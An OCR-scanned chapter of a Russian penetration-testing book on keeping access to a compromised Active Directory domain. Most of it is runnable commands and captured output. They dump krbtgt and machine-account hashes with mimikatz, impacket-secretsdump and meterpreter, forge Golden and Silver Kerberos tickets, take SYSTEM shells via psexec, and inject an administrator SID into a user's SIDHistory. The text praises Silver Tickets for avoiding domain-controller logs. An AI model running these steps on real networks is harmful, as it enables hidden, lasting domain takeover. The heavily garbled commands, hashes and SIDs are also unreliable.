компонента. Название и SID домена можно узнать с помощью PowerShell-кoмaнды
Get-ADDoma in (рис. 7.2).
Теперь нужно получить NTLM-xeш учетной записи krЬtgt. Сделать это можно как
удаленно, так и с помощью mimikatz (рис. 7.3-7.5). С использованием mimikatz
PS С : \Users\root\Desktop> Get- ADDontain
I!Al
lowedDNSSuff ixes
!chi 1 dDomains
C oniputei''SCont ainer
Ое letedObjectsContaine1·
Di stingui shedName
ONSRoot
Doma inCont rol lersContainer
OomainHode
DomainSID
jF orei gnSec ur i t �1Pr i nc i ра 1 scont a iner
F orest
!Inf rastruct ureHaster
1 Las t LogonRep1 i с at ionI nt erva 1
� L i nkedGroupPo i cyObj ect s
'
Las tдndFoundContainer
NanagedBy
'
Name
IJetBIOSName
ьjectClass
ObjectGUID
ParentOomain
PDCEmulator
Pub 1 i с KeyRequi redPas s.t.10rdRol i ng
tюtasCont ainer
R eadOn 1 yRep l i с aDi 1'ectorySer·vers
;Rep l i с зDi rec t orySer\'e rs
R ID/>1aster
ISubordi nateReferences
:
l
·o
Q
!
�Systems.Cantaine r
!
User·sConta i ner·
l
{}
{}
Пl=Computers, OC=doma i n , DC=dom
Ol•Deleted Objec t s , DC =doma i n , DC=dom
DC=doma i n , DC=dom
domain . dom
OU=Doщain Controllers . DC=doni.эin, DC,.,dom
Hindoнs201 6Domai n
Cl\l:вf o r eignSecuri tyPri n c i p a l s , DC=doma i n . ОС =dom
doma i n . dom
\-!IN- 5ULR6E 1 J Т J 9 . domain . dom
{ CN={ 3182F340- 016D- 11D2 - 94SF -00C04FB984F9} , Oi=Policies , CN=Sys teni, DC=doma in , DC=dom}
CN-LostAndFound, ОС=domain, ОС =dom
domain
DOHA!N
domainDNS
Зс571с97 - c9ce-4f0e- 8fd3- af944bd21930
H!N- SULR6E1 JT J9 . domain . dom
True
CN·NTDS Quot a s , OC=domai n , DC "dom
{}
{fШl- 5ULRбE 1 J Т J 9 . domain . dom}
i>/IN- SULR6E1JT J9 . domain . dom
{DC=Fores tDnsZones, DCcdon1ain , ОС i::: dom, DC•Doma inDnsZones, DC•dom.эin , DC=doni,
urat ion , DC=domai n , DC=dom}
Ol=Sys tem, DC=doma i n , DC·dom
CN ....users , DC=do111a in , DC•dorn
Рис. 7.2.
SID и имя домена
СNжСш·1f ig
Сохранение доступа при атаке на домен
135
у оператора есть выбор: выполнить атаку DCSync, используя базу Security Account
Managers (SAM), или задействовать модуль sekurlsa.
mimikatz # lsadшnp : : dcsync /user : krbtgt
Рис. 7.3. Получаем хеши с помощью mimikatz, испол ьзуя атаку DCSyпc
mimikatz # privilege : : debug
mimikatz # lsadump : : l sa /inject /name : krbtgt
mimikatz - p r i v i l e g e : : debug
· 2 0 · ОК
Privilege
m i mika t 2 - l s a dump : : l s a / i n j ec : l n ame : < " b t g t
DO�A I N / S - 1 - ; - 2 1 - 7 1 9 1 1 1 20 3 - 94 2 6 7 1 344 - 1 8 3 14 0 9 ; 2 3
Domai n
RID
0 0 0 0 0 1 f б ( 30 2 )
User
k r b t gt
P r i mary
·
NTLH
LH
:
08f3bf2e292d77d8e460d 3926a0d90de
H a s h N T L H : 08f5bf2e292d77d8e460d3926a0d90de
ntlm- В : 08f5b f 2 e 2 9 2 d 7 7 d8e460d3926a0d9Bde
lm
.- 0:
;бde632 e d 3 2 f e 3 fd;9fda37b488Ы492
Рис. 7.4. Получаем хеши с помощью mimikatz, используя базу SAM
mimi katz # sekurlsa : : krbtgt
r'l : r" : -: a : :
-i: s.eкurl sa : : кr ь t g-::
( ;,_J r· ·�eп: kr"'btgt :
cr':?dentials
S
rc4 hmac nt
rc4 hmac old
=
rc4_мd4
зеs256
hmac
)·,mac
aes 1 2 8
08f5bf2e292d77d8e460dЗ02бa0d90de
B8f5bf2e292d77d8e460d3926a0d9Bde
08f5bf2e292d77d8e460d392бa0d90de
0efc4aa9bcБea7 8 1 1 f59 169;7вB277d136813c83fe4fb5;aб a ; s 7 a з ; 1 0Q e J la8
46d4979e9dd0c87090e980aS495c07c7
Рис. 7.5. Получаем хеши с помощью mimikatz, используя модуль sekurlsa
Гла ва 7
136
Удаленная атака выполняется также с использованием DCSync или при наличии
открытой сессии rneterpreter (рис. 7 .6).
irnpacket-secretsdшnp dornain . dorn/root@ 1 92 . 1 68 . 6 . 1 0 0
Адм>1нистратор : S00 : ааdЗЬ43SЬ51404ееааdЗЬ4ЗSЬ51404ее : 7d909277с8d69995d44сс7418f174ЬЬ4 : : :
Гость : 501 : ааdЗЬ4З5Ь51404ееааdЗ.Ь435Ь51404ее : З1dбсfе0d1бае9З1ЫЗс59d7е0с089с0 : � :
krbtgt : 502 : эad3b435b51404eeaad3b43Sb51404ee :
...
DefaultAccount : 503 : aa dЗb4ЗSb51404eeaadЗЬ435b51404e e : 3 1dбcfe0d16ae931b73c59d7e0c089c0 : : :
root : 1000: aadЗb435b51404eeaad3b435b51404ee : 259745cЬ12Зa52aa2e693aaacca2db52 : : :
l�IN-5ULR6E1JТ J9 $ : 1001 : aad3b43Sb51404eeaad3b435b51404ee : c854d3f11ea2ad22267ed4571f77d29b : : :
[*]
Kerberos keys grabbed
krbtgt : aes256- c t s - hmac-sha1-96 : 0efc4aa9bcбea7811f591695788277d136813c83 fe4fb55a6a557a35109e11a8
krbtgt : aes128-ct s-hmac-sha1-96 : 46d4979e9dd0c87090e980a5495c07c7
krbtgt : des-cbc -md5 : 6192a137c825d9c 1
Рис. 7.6. Получение хешей с помощью secretsdump
Существует два варианта использования rneterpreter: при помощи
dcsync_ntlrn (для второго нужно загрузить модуль kiwi, рис. 7.7, 7.8).
hashdшnp
и
meter reter > hashdump
r,f,f,f,[,f,t;f,f,f,f,f,f, : 500 : aad3b435b51404eeaad3b435b51404ee; 7d909277c8dб9995d44cc 7418f174bb4 ; ; :
r.;,;,r,r, : 501 : ааdЗЬ435Ь51404ееааdЗЬ435Ь51404ее : 3 1dбc fе0d16ае931ЫЗс59d7е0с089с0 : : :
krbtgt : 50 2 : aad3b435b51404eeaad3b435b51404ee:
...
DefaultAc count : 503 : aadЗb435bS1404eeaad3b435b51404ee : З 1d6cfe0d16ae931 Ы З c 59d7e0c089c 0 : : :
root : 1000 : aad3b435b51404eeaad3b435b51404e e : 259 74ScЫ23a52aa2eб93aaac c a 2db52 : : :
$
IVIN-5ULR6E1JТJ9 : 1001 : ааdЗЬ435Ь51404ееааdЗЬ435Ь51404ее: c854d3f11ea2ad22267ed4571f77d29b : : :
Рис. 7.7. Получение хешей с помощью meterpreter hashdump
meter reter
>
dcsyJic_пtlm krЬtgt
[+) Account
krbtgt
[+] Ll-1 Hash
56de632ed32 fe3fd59fda3 7 b488b2492
[ +) SID
S-1-5-2 1- 7 19111203-942 6 7 1 3 44-183 140952 -502
[+] RID
502
[+] NТLJ-1 Hash
08f5bf2e292d7 7d8e460d392бa0d90de
Рис. 7.8. Получение хешей с помощью meterpreter dcsyпc_пtlm
С помощью полученной информации можно создать и применить Golden Ticket.
Сделаем это тремя способами: используя mimikatz, удаленно с помощью ticketer
и с использованием rneterpreter.
Tic keter
Первым делом следует создать, билет. Для этого используем скрипт ti cketer из па
кета irnpacket (напомню, что имя пользователя можно выдумать любое, рис. 7.9).
irnpacket-ticketer -nthash 08 f5bf2e2 92d77d8e4 60d3926a0d90de -dornain-sid S - 1 - 5 - 2 1 7 1 9 1 1 1 2 03-94 2 6 7 1 3 4 4 - 1 8 3 1 4 0 95 2 8 -dorna in dornain . dorn anyuser
В текущей директории создан билет anyuser . ccache. Экспортируем его.
export КRВ5CCNAМE=anyuser . ccache
Сохранение доступа при атаке на домен
137
Impacket v0 . 9 . 20 - Copyright 2019 SecureAuth Corporation
(*] Creating basic skeleton ticket and РАС Infos
[ *) Customizing t icket for domain . dooi/anyuser
[• )
(•]
[•]
[*]
[ •)
(*)
(•)
[ •)
PAC_LOGON_INFO
PAC_CLIENT_INFO_ТYPE
EncTicketPart
EncAsRepPart
Signing/E11crypting
fiпal
ticket
PAC_SERVER_CHECKSU'4
PAC_PRIVSVR_CHECKS�
E11cTicketPart
[* ]
EncASRepPart
[ • ] Saving ticket
iп
anyuse r . ccache
Рис. 7.9. С()эдание Goldeп Ticket с помощью ticketer
Теперь подключимся с Помощью psexec из того же пакета impacket (рис. 7. 1 0).
·
pythonЗ psexec . py -k -no-pass [ домен ] / [ лользователь ] @ [имя хоста]
Получаем удаленное управление с правами
SYSTEM.
: /usr/shan/doc/python3-�cket/exмp1es$ python3 psexec .py
Inpacket v0.9 . 2 8 - Copyright 2019 SecureAuth Corporation
-k
-no-pass dooain .doo/anyusel'Q)>'IN-SULR6ElJТJ9
[•) Requesting shares on WIN-SULR6E1JТJ9" " .
[ *)
[•]
[ *]
[•]
[*)
[!)
Found writаЫе share А
Uptoading fite ChlYvenW. exe
Opening SVCМanager on WIN-SULR6E1JТ J9" " .
Creating service МOQz on WIN·SULR6E1JTJ9 . . " .
Starting service МOQz . . . "
Press hetp for extra shett COOlllands
Microsoft Windows [Version 10.0. 1�393 ]
( с ) e•a••aiµ1,n ia••a•8•IГ (Мicrosoft Corporation) , 2016.
ellii »ааба
Оае,еN1б.
C:\Windows\systeп32>I
Рис. 7.10. Подключаемся к хосту, используя Goldeп Ticket
Mi m ikatz
Создадим поддельный золотой билет с помощью mimikatz (рис. 7. l l ).
Если в данной команде не использовать параметр /ptt, то билет будет просто
сохранен в текущей директории. В данном случае он сразу будет кеширован в па
мЯти.
mimikatz tJ kerberos: : golden /domain : do1nain. don1 /sid : S - 1 - 5- 2 1 - 7191 1120З- 942671Зt14-1831409S28 /rca : 08fSЬf2e292d77d&e460d392бaed90de
·
/user: anyuser /]d: 500 /ptt
User
anyuser
domain . dom {DQli\AIN)
Domain
SID
S - 1 - S - 2 1 - 719111203-942671 344 ·1831409528
500
User ld
• 513 512 52\Э Sl& 519
Id
ServiceKey: 08f5Ьf2e292d77d8e460d3926a0d90de - rc4
Groups
1
hшас
�
nt
Lifeti11e
: 03 . 04 . 2020 14 : 14 : 22 ; 01 . 04 . 2030 14:14 22 ; 0 1 . 04 . 2030 14 : 14 : 22
Ticket
· • Pass The Ti(�H • •
1- >
:
РАС generated
РАС signed
EncТic ketPart generated
Enc ТicketPart encrypted
KrbCred generat�d
<;olden
ti c ket for
'
ctn}ruser
�
.э
.......__
ion
s::.;
....
�
.
__
dom in . dom ' successfully subinitted for current ses:..
'-"'
�
Рис. 7.1 1 . Соэдание Goldeп Ticket с помощью mimikatz
Гла ва 7
138
Давайте проверим это, вызвав командную строку.
mimi katz # misc : : cmd
Теперь, выполнив команду klist, наблюдаем кешированный Golden Ticket (рис. 7. 1 2).
Рис. 7.12. Соэдание Goldeп Ticket с помощью mimikatz
Meterpreter
Для работы с meterpreter будем использовать модуль kiwi. ПервЬ1м делом создадим
Golden Тicket (рис. 7. 1 3).
� > golden_t1cket_create - d doma 1 n . dorn -u anyuser -s S-1-S-21-719111203-942671344-1831409528
k 08fSЬf2 e292d77d8e460d3926a0d90de -t /home/rat f/tmp/anyuser . tck
Golden Kerberos t icket wr1tten t o /home/ralf/tmp/anyuse r . tck
_
Рис. 7.13. Создание Goldeп Ticket с помощью meterpreter
Теперь применим его (рис. 7. 1 4).
�
[�1
[+]
>
kerberos_t lcket_use / h ome/ ralf/tmp/anyuser . t c k
Using Kerberos t icket stored i n /home/ralf/tmp/anyuser . t c k , 1788 bytes
..
.
Kerberos ticket appl ied successfully .
Рис. 7.14. Применение Goldeп Ticket с помощью meterpreter
И проверим, что билет успешно загружен (рис. 7 . 1 5).
meter reter > kerberos_t icket_l ist
[+]
Kerberos t ickets found in the current session .
[ 00000000) - 0•00000017 - rc4_hmac_nt
Start/End/Ma xRene1v: 03 . 04. 2020 15 : 13 : 18 ; 01. 04 . 2030 2 3 : 13 : 18
Server Name
krЫgt/domai n . dom @ domain . dom
Clie11t Name
anyuser � domain . d
F1ags 40е00000
pre_autheпt ; i11itial ; renewaЫe
01 . 04 . 2030 23 : 13 : 18
forwardaЫe
Рис. 7.1 5. Загруженный Goldeп Ticket
Сохранение доступа при атаке на домен
139
Таким образом, у нас остается возможность работы с повышенными привилегиями,
при этом мы не используем учетных данных администраторов. Это означает, что
мы можем получить доступ всегда, даже при смене паролей пользователей, изме
нении их ролей и даже при удалении скомпрометированных учетных записей.
Kerberos Silver Ticket
Silver Тicket - это поддельные билеть1 TGS, также называемые билетами службы.
Как показано на схеме аутентификации Kerberos с Silver Тicket (рис. 7 . 1 6), в этом
случае отсутствуют шаги AS-REQ/AS-REP и TGS-REQ/ТGS-REP, что исключает
взаимодействие с контроллером домена. То есть у нас получается избежать логиро
вания, т. к. журналы событий располагаются на сервере.
Контроллер домена
,,,
"
-
. . .....
/
.'
/
/
�ш..\,,.1=�
ком пь ютер
пользователя
5 AP REQ (pre
..._ 6. АР REP (
sent TGT for acc
оnциональн�• исп
ess) ____
_
ользуется nри эаn
_
о
..,
росе взаимнои. ауте
нтификации)�
·
Сервер
приложения
Рис. 7.16. Схема аутентификации KerЬeros с Silver Ticket
Серебряный билет Kerberos - действительный билет Kerberos TGS: он зашифро
ван и подписан учетной записью службы, для которой настроено SРN-имя для каж
дого сервера, на котором, в свою очередь, работает служба проверки подлинности
Kerberos.
В то время как Golden Ticket является поддельным TGT для получения доступа
к тобой службе KerЬeros, Silver Тicket представляет собой поддельный TGS. А это
означает, что область его применимости ограничена определенной службой.
Из всего вышесказанного следует, что вместо хеша пароля учетной записи krbtgt
нужен хеш пароля учетной записи службы, а также ее SРN-имя. В табл. 7. 1 пред
ставлены наиболее интересные службы и соответствующие им типы билетов.
Гла ва 7
140
Таблица
7. 1 . Службы и типы билетов
Служба
Тип Silver Ticket
WMI
HOST, RPCSS
PowerShell Remoting
HOST, НТТР
WinRM
HOST, НТТР
Запланированные задачи
HOST
Общий доступ к файлам Windows (CIFS)
CIFS
LDAP
LDAP
Средства удаленного администрирования Windows
RPCSS, LDAP, CIFS
Админ•с тратор : 500 : ааdЗЬ435Ь51404ееааd31:1435Ь51404ее : 7d909277c8dб9995d44cc7418f 174bb4 : : :
Гость: 501 : ааdЗЬ435Ь51404ееааd3Ь435Ь51Ч04ее : 31d6cfe0d16ae931Ы3c59d7e0c089c0 : : :
Defaul tAccount : 503 : ааdЗЬ435Ь51404ееааd3Ь435Ь51404ее: 3 1d6cfe0d16ae93 1ЫЗc59d7e0c089c0 : : :
[* ]
[ *]
[•]
Dumping c ached dornain logon information ( dornain/usernaщe : hash)
Dumping
LSA
Sec rнs
$1.\ACHINE .АСС
00'.\AIN\\VIN-SULRбElJТJ9$ : aes256-c t s-hmac-s hal -96: З fd976079614 7124S8f33667 1 Ы7Ьа34с431е95еf74a8a0b0330608Ы875cd5d
COМIN\\l'IN- SULRбE lJТ J9$ : aes128-cts-hma c -sha1-96 : 609е662Зfd0162 e9bca866a70а f с 7263
DO/.\AIN\WIN-5ULR6E1JТ J9$ : des-cbc-mdS : 624f се4с918654 fd
OOМAIN\\VIN- 5ULR6E1JТ J9$ : ааdЗЬ4ЗSЬS 1 404ееааdЗ Ь435Ь51404ее :c854d3fllea2ad22267ed4S71f77d29
Рис.
7.17. Получение хешей с помощью secretsdump
rneter reter > hashdump
ЬЬЬЬЬЬЬЬЬЬЬЬЬ : 500 : аэdЗЬ435Ь51404ееааdЗЬ435 Ь51404ее : 7d9092 7 7 с8d69995d44с с 7418f174ЬЬ4 : : :
ЬЬЬЬЬ : 50 1 : ааdЗЬ435Ь51404ееааdЗЬ435Ь51404ее : З 1dбсfе0d16ае931ЫЗс59d7е0с089 с0 : : :
krbtgt : S02 : aadЗb43Sb51404eeaad3b435b51404ee : 08f5bf2e292d77d8e460d3926a0d90de : : :
DefaultAccou11t : 503 : aad3b43Sb51404eeaadЗb435bS1404ee : З ld6cfe0dlбae931ЫЗc59d7e0c089c0 : : :
rооt : 1000 : ааdЗЬ4З5Ь51404ееааdЗЬ435Ь51404ее : 2 59745сЫ2За52аа2е69Зааасса2dЬ52 : : :
\�IN-5ULR6E1JТJ9 $ : 100 1 : ааdЗЬ435Ь51404ееааdЗЬ435Ь51404ее : c8S4d3f11ea2ad22267ed4571f77d29
Рис.
7.18. Получение хешей с помощью meterpreter
�u: he n : i c a: i o n : d
0 ;
S e :; s i or1
:n:e r a c : i �e from
Lls e r r1ame
Doma iп
L ogor1 Ser\:er
:Logor1 � :me
s:o
64017
( 0 00 0 00 0 0 : 0000 f a 1 1 !
1
D•·.l-' - 1
�·,ir11]0l·1 r.1ar1 .э g e •"
{null)
0 3 . 04 . 2 0 2 0 1 0 : 57 : 2 0
S - 1 - S - 90 - 0 - 1
ffiS'.'
[ 00 0 0 0003
U s e rname
Domain
DCl-'A:N
fГ ' L!·1
c8 54d3f1 1ea2ad22267ed4 571f77d29b
SHAl
e c 9 З 6 0 3e c 6 04ffb 8 8 5 Ы 7 7 8 b d0 16 f a 5 d4 7 5 1 8c 9 B
:sp<g
:
tJ•jiges:
U s e rname
Domaiп
·
. PaS SiJO�d
lzerberos :
· Username
\"-- Doшa i r1
Рис.
P r i m a ry
l·.:r1 - 5U LR6E 1 Г J 9S
� = N - 3 U LR6E 1 J 7 J 9S
DCr>д:r1
( nu : l
�: N - 3U L R6 � 1 J - J 9 S
do111a i п . t..1 ori
7.19. Получение хеша учетной записи компьютера с помощью mimikatz
Сохра нение доступа прu атаке на домен
141
Разберем создание Silver Ticket на примере службы cifs. Она позволит нам обра
щаться с правами администратора к любому общему ресурсу на компьютере, чего
хватит для работы через psexec с правами SYSTEM.
Для службы cifs нам достаточно хеша пароля учетной записи компьютера. Его
можно получить так же, как и в случае с Golden Тicket (рис. 7 . 1 7, 7 . 1 8).
В случае с mimikatz можно использовать
sekurlsa : : logonpasswords
(рис. 7 . 1 9).
Теперь давайте создадим и применим Silver Ticket.
Tic keter
Для начала сгенерируем Silver Ticket. Сделать это можно по аналогии с золотым
билетом, но следует указать SPN службы CIFS (рис. 7 .20).
impacket-ticketer -nthash c854d3 f l l ea2ad22267ed4 5 7 1 f7 7d29b -domain-sid S-1-5-2 1 7 1 9 1 1 1 2 0 3-94267 1 3 4 4 - 1 8 3 1 4 09528 -domain domain . dom -spn. cifs/ [ hostname] anyuser
: /u•r/sl..,r•/<loc/python3-impack�t/<xon\)l<s$ sudo impacket-ticketer -nthash c854d3f1 1ea2ad22267ed4571f77d29b
-donain-sid S
-1-S-21-719111203-94267131,4-1831409528 -donain donain.don -spn cHs/win-5utr&e1jtj9 anyuser
Inipacket v0.9.2& - Copyri ght 2019 SecureAuth Corporation
[*)
(*}
[•)
(•)
(• J
(. J
(•]
[•]
[•)
[ •]
[ •)
[ *)
Creating basic skeleton ticket зnd РАС Infos
Custooi.ting ticket for dooain. doo/anyuser
PAC_LOGON_INFO
PAC_CLIEN'Т_INF0_1'YPE
EncTicketPart
EncTGSRepPa rt
Signing/Encrypting fina\ ticket
PAC_SERVER_CНECКS!.114
PAC_PRIVSVR_CНECКS\lol
EncTicketPart
EncTGSRepPart
Saving ticket in anyuser.
ccache
Рис. 7.20. Получение хеша учетной записи компьютера с помощью mimikatz
Теперь экспортируем тикет.
export КRB5CCNAМE=anyuse r . ccache
И наконец, получим управление с правами
: /us.r/St1i'tte-,noc: pyttio:-·J · t.!1p;1r;:·kot/e:tE�Ptе�$
[!]
Requesting shares on IYIN-SULR6ElJТJ9 .
r
Found wri tаЫе s ha e А
с помощью
pythonЗ psexec . ру
Impacket vo. 9 . 2 е - Copyright 2019 SecureAuth Corporation
[ •]
[• ]
[•)
( *]
[ •]
[•]
SYSTEM
-
k
psexec
(рис. 7.2 1 ).
-no-pass doma1n . dom/anyuserQ№IN-SULR6E1JTJ9
. . . •
Uploading file Pl•LsNRV\<. exe
Opening SVQ.!anager on WIN-SULRбE 1 JТJ9 . . . . .
Creating service OGPX on WIN-SULR6E1JТJ9 . . . . .
Starting service OGPX . . . . .
P ress help for extra shell cOOJ11ands
Microsoft Windmvs [Version 10. 0 .14393)
( с ) e•a••«aµLn ia--a•B•Ir (Microsoft Corporation ) , 2016.
e6N »ааба Оае1.еN 1 б .
с : \Windmws\system32>1
Рис. 7.21 . Получение хеша учетной записи компьютера с помощью mimikatz
Гла ва 7
142
Mi m ikatz
NTLM-xeш пароля учетной записи компьютера используется с параметром rc4. При
этом мы можем придумать как имя пользователя, так и его User ID (в параметре id) .
В параметре service укажем cifs, а в target - полное имя компьютера (рис. 7.22).
kerberos : : golden /admi n : anyuser /domain : domain . dom / i d : l l l l /sid : S-1-5 � 2 1 - 7 1 9 1 1 1 2 039 4 2 67 1 3 4 4 - 1 8 3 1 4 0 95 2 8 /target : [hostname] /rc4 : [NTLМ хеш] /service : cifs /ptt
mimikatz # ke1·beros : : golden /adm.i n : ,myuse1· /domai п : domain . dom /id : 1 1 1 1 / s id : S - 1 - S - 2 1 - 71911 120:3 -942671344- 1331409528 /tar
get : t.J HJ- SULR6E 1 J T J 9 . domain . dom / rc4 : c854d3f11ea2ad22267ed4S71f77d29ti / service : c i f s /ptt
tJser
anyL1ser
Domain
SID
User Id
Groups I d
Ser11.i<eKey:
Serv .i ( e
doшain , d•Jm (DOHA!N,>
S-1-5- 21- 7 1 9 1 112id3 · 942С.71344 1З314Еi9528
1111
· 513 512 520 518 519
c854d3f 11ea2ad22267ed4S71 f77d29b
c i fs
r(4 hmac nt
HHJ - SULRбE lJ Т J 9 . doma.i r. . Jom
Tar>get
Li fetime
. > Ticket
03 . 0 4 . 2020 1 8 : 0 1 : 15 ; 01 . 04 . 2030 18:01 : 15 ; 01 . 04 . 2030 18 : 01 : 15
• •
Pas.s The Ticket
" �
РАС gener·at�d
РАС signed
Encт:cketPart gener·ated
Enc Т i c ketPart enи·ypt«>d
Kr·b( red gene1·atE'd
(joldE'n ticket for ' anyLJser -� domai r, . dom'
Рис. 7·.22.
s�1и�ssfully suьmitted for c1..н� 1·ent session
Получение xewa учетной записи компьютера с помощью mimikatz
Проверим загруженные в память билеты и обнаружим там только что созданный
(рис. 7.23).
ntiini katz
r.t
[ 3<1000000]
1
1
kerbe"os : : 1 1 s t
0х1Э000'1017
Start/End 1MaxRene�
rc4_11mac п:
18 . 0 1 1 • ,
: �
03 . 04 . 2BLB
.
8 1 . 04 . 2030 18 : 8 1 : 15
SerVE'r flame
:
г i f s t l·. : r 1 - :.Ll l R6 E l l Т J l1 . don1 a 1 n L1 0m
F lags 40а1ЗО0GО
:
p r e_autt1ent
C l i<>nt
1 n1
r a e
Рис. 7.23.
1
�
;
doma 1 n . don1
81 . 84 . 2030
1 8 . 01 . 1 ;
r�netjaЫ.:. ; fo1·��a1•LiaЫe ,
Получение xewa учетной записи компьютера с помощью mimikatz
Существует мнение, что Silver Тicket куда более опасны, чем Golden Ticket, не
смотря на то что область их действия ограниченна. Эrо справедливо потому, что
хеш службы легче получить, чем хеш krЬtgt, а обнаружение такого вторжения
сложнее из-за отсутствия взаимодействия с контроллером домена.
SIDHistory
·
это атрибут объекта в Active Directory, который хранит старый SID.
Наиболее часто он применяется при миграциях. Эта функция необходима при пе
реносе учетных записей пользователей из одного доверенного домена в' другой.
При этом учетные записи полностью сохраняют настройки доступа к старым ре
сурсам и файлам. Когда пользователь проходит проверку подлинности, идентифи
каторы безопасности каждой группы безопасности, членом которой он является,
sшнistory -
Сохранение доступа при атаке на домен
143
добавляются в билет Kerberos этого пользователя, а также в атрибут
учетной записи.
S I DHistory
его
При создании. нового пользователя SIO его учетной записи будет .отличен от SIO
другlр( учетных записей. Это также справедливо при переносе дользователя из пер
вого Домена во второй. В таком случае SIO учетной записи пользователя из первого
доме\fа будет добавлен в S I DHistory учетной записи во втором домене. Именно
поэтd� пользователь из второго домена может получить доступ к своим старым
ресурсам и файлам в первом домене.
Но, ч1;о удивительно, если обычный пользователь во втором домене имеет в атрибуте SI DH i s t o ry своей учетной записи SID учетной записи одного из админист
раторов первого домена, то данный пользователь становится привилегированным
в первом домене! То есть пользователю будут предоставлены права администрато
ра домена без его участия в группе «Администраторы домена».
Таким образом, для сохранения привилегированного доступа в доверенном домене
оператор может включить SID привилегированной учетной записи в целевом доме
не в атрибут sшнistory контролируемой им непривилегированной учетной записи
из доверенного домена.
С помощью mimikatz мы можем внедрить любой SID в атрибут S I DHistory любого
пользователя (но для этого нужны права администратора, которые у нас, конечно
же, есть). На рис. 7 .24 видно, что пользователь notroot не имеет административного
доступа.
: • $ pythonЗ /usr/sharefdoё"/pythonЗ�fmpacket/examp1es/psexec . р;; п o t rootii!192
Impacket v0 . 9 . 20
-
Copyright 2019 Secu reAuH1 Corporation
. lбВ . б . 100
Password :
[ * ] Requesting shares оп 192 . 168 . 6 . 100 • . • . .
( * ] Found 1•ritaЫe st1are А
[ *) Up load ing f ile hPlmFEIYH . ехе
[ • ] ,Opening SVU�anJger or1 192 . 168 . 6 . 100 . . . . .
[ · ) 'f.rror oper1ir1g 5'/С:Мапаgеr on 192 . 168 . 6 . 100 . " "
[ - ] E1·ror performing the insta tlat ion , cleanino, up:
Ur1зble to open 5VCJ4ariager
Рис. 7.24 . Неудачное подключение с помощью psexec от имени поль3овател" пotroot
Давай посмотрим атрибут S I DHistory этого пользователя (рис. 7.25).
PS > Get -ADUser [пользователь ] -Properties S I DHistory
ps
C : \Users\ root> Get -ADUser notroot - Properties SIDHistory
DistinguishedName
Gi v·eпName
·
CN=N , CN · U se r s , DC=doma i n D , DC·dom
f"J
ГI
l'Jame
Obj e c t Cl ass,
use r ·
ObjectGUIO
4cc8cba 6 - e5cб -48db - 9 7 1 f - 8 c S c 9 7e4 3 f48
SamAccouпt Name
notroot
S - l - 5 - 2 1 - 158377019 1 - 14800844 6 - 326828444 1 - 1104
SID
{}
SIDHistory
Surname
UserPrincipalName
(<i
notroot •domainD . dom
Рис. 7.25.
SIDHistory nольэователя notroot
Гла ва 7
144
Рис. 7.26.
Получение информации о пользователе с высокими привилеги11ми
Данный атрибут у пользователя пуст. Теперь узнаем SID администратора, который
необходимо туда внедрить (рис. 7.26).
Давай внедрим с помощью mimikatz SID привилегированного пользователя
в атрибут S I DHistory обычного пользователя notroot (рис. 7.27).
root
mimi katz # privilege : : debug
mimi katz # sid : : patch
mimi katz # s i d : : add /sam: [ целевой пользователь ] /new : [ S I D
чей S I D внедряется]
mimi katz 11 privilege : : debug·Privi lege
" 20 "
ОК
или
пользователь ,
·
mimikatz 1 s i d : : patch
Patch
li 2 :
"ntds"
service patched
Patc h 2/ 2 : ERROR kul l_m_patch_genericProces s01'Servi c eF r-omBuild ;
mi mi katz !!
kul l_m_patch (0х00000057 )
s i d : : эdd / san1 : notroot / n eн : S - 1 - 5 - 2 1 - 71 9 1 1 1 203 - 94 2 6 7 1 344 - 183 1409 5 2 8 - 1000
N = r• , CN=Users , DC=domainD, DC=dom
nanie :
f>I ?
objectGUI D :
objectS i d :
·
{4cc8cba6 - e5 c б -48db - 97 1 f - 8c5c 97e43f48}
S - 1 - 5 - 2 1 - 15837701 9 1 - 140008446 - 326828444 1 - 1 104
sAHAccount1'-Jan1e :
·
Ni ll try to
пotroot
.
a dd .
" s IDHistory '
this nен SID : ' S - 1 - S - 2 1 - 7 19 1 1 1 2 03 - 94 2 6 7 1 344 - 18 3 1409528 - 1000 ' :
ОК !
Рис. 7.27. Внедрение в SID с помощью mimikatz
Все прошло успешно. Теперь снова проверим атрибут S I DHistory нашего пользова
теля. Как видно на рис. 7.28, в атрибуте S I DHistory теперь присутствует SID приви
легированного пользователя.
При входе в систему от имени пользователя notroot все идентификаторы безопас
ности, связанные с этой учетной записью, добавляются в токен пользователя, 'кото
рый задействован для определения доступа к ресурсам. Если точнее, туда добавля
ются:
1 . SID, связанный с учетной записью пользователя.
2. SШ'ы групп, в которые входит пользователь (включая группы, членами которых
являются эти гр�ппы).
3 . SID'ы, содержащиеся в
S I DHis tory.
Сохранение доступа при атаке на домен
145
PS C : \Users\root> Get - ADUser notroot - Propert ies SIDHistory
D i s t i nguishedName
C N = IJ , Ol=Users , DC=doma i n D , DC=don1
Gi \'ent.J.ame
N
Name
N
Obj ec t C l a s s
user
ObjectGUID
4cc8cba6- e5c6-48db- 9 7 l f - Bc 5c97e43f48
SamAccountName
notroot
SID
S - 1 - 5 - 21 - 1583770191 - 14000844 6 - 326828444 1 - 1104
SIDHistory
{ S - 1 - 5 - 2 1 - 7 19 1 1 1 203 - 942671344 - 1831409528- 1000}
Surname
UserPrinc i palName
notroot@doma i n D . dom
Рис. 7.28. SIDHistory пользователя notroot
Если снова попытаться войти в систему от имени пользователя notroot, то можно
�аме-iить, что теперь он имеет административный доступ (рис. 7.29).
: $
pythonЗ /usr/share/doc/pythonЗ-impacket/examples/psexec . py notroot@192 . 168 . б . 100
Impacket v0. 9. 2 0 - Copyright 2019 Secш·eAuth Corporatio•1
Pass.vord :
[ • ] Requestir•g stiares оп 1 9 2 . 1 68 . 6 . 100 . . . . .
[ • ] Found 1VritaЫe share А
[ • ] Upload1ng file gioZfoRv . ex e
[ • ] Open1ng SVCJ.\anager o n 192 . 168 . 6 . 100 . . . .
.
[ • ] Creat1ng service pNBE on 192 . 168 . 6 . 100 . . . . .
[ *] 5tart1ng service pNBE . . . . .
[ ' ] P1·ess t1elp for extra shell cOOJnands
Microsoft W1ndo1vs [Version 1 0 . 0 . 14393 ]
( с ) e«a•«aaµ,;n ia"a«B«H
(/�1crosoft Corporatio11 ) . 2 0 1 6 .
eBN »ааба Oa0;6N ; о .
С : \Windo1vs\syste<113 2>1
Рис. 7.29. Успешное подключение от имени пользователя notroot с помощью psexec
Когда пользователь notroot входит в систему, SID'ы, связанные с его учетной
записью, оцениваются и доступ определяется на основе этих SID. Так как учетная
запись notroot связана с учетной записью root (администратор), учетная запись
notroot имеет все права доступа к учетной записи root, включая права администра
тора домена.
